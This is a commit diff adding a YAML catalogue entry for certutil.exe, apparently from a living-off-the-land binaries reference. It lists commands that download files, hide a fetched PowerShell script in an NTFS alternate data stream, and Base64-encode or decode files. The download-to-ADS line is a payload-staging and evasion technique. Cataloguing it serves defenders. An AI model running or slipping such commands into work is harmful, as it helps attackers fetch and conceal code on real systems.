MD files generate from Script, and adjustments to readme

yml/OSBinaries/Certutil.yml

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+---
+Name: Certutil.exe
+Description: Download, Add ADS, Decode, Encode
+Author: ''
+Created: '2018-05-25'
+Categories: []
+Commands:
+  - Command: certutil.exe -urlcache -split -f http://7-zip.org/a/7z1604-x64.exe 7zip.exe
+    Description: Download and save 7zip to disk in the current folder.
+  - Command: certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
+    Description: Download and save a PS1 file to an Alternate Data Stream (ADS).
+  - Command: |
+          certutil -encode inputFileName encodedOutputFileName
+          certutil -decode encodedInputFileName decodedOutputFileName
+    Description: Commands to encode and decode a file using Base64.
+Full Path:
+  - c:\windows\system32\certutil.exe
+  - c:\windows\sysWOW64\certutil.exe
+Code Sample: []
+Detection: []
+Resources:
+  - https://twitter.com/Moriarty_Meng/status/984380793383370752
+  - https://twitter.com/mattifestation/status/620107926288515072
+Notes: Thanks to Matt Graeber - @mattifestation, Moriarty - @Moriarty2016
+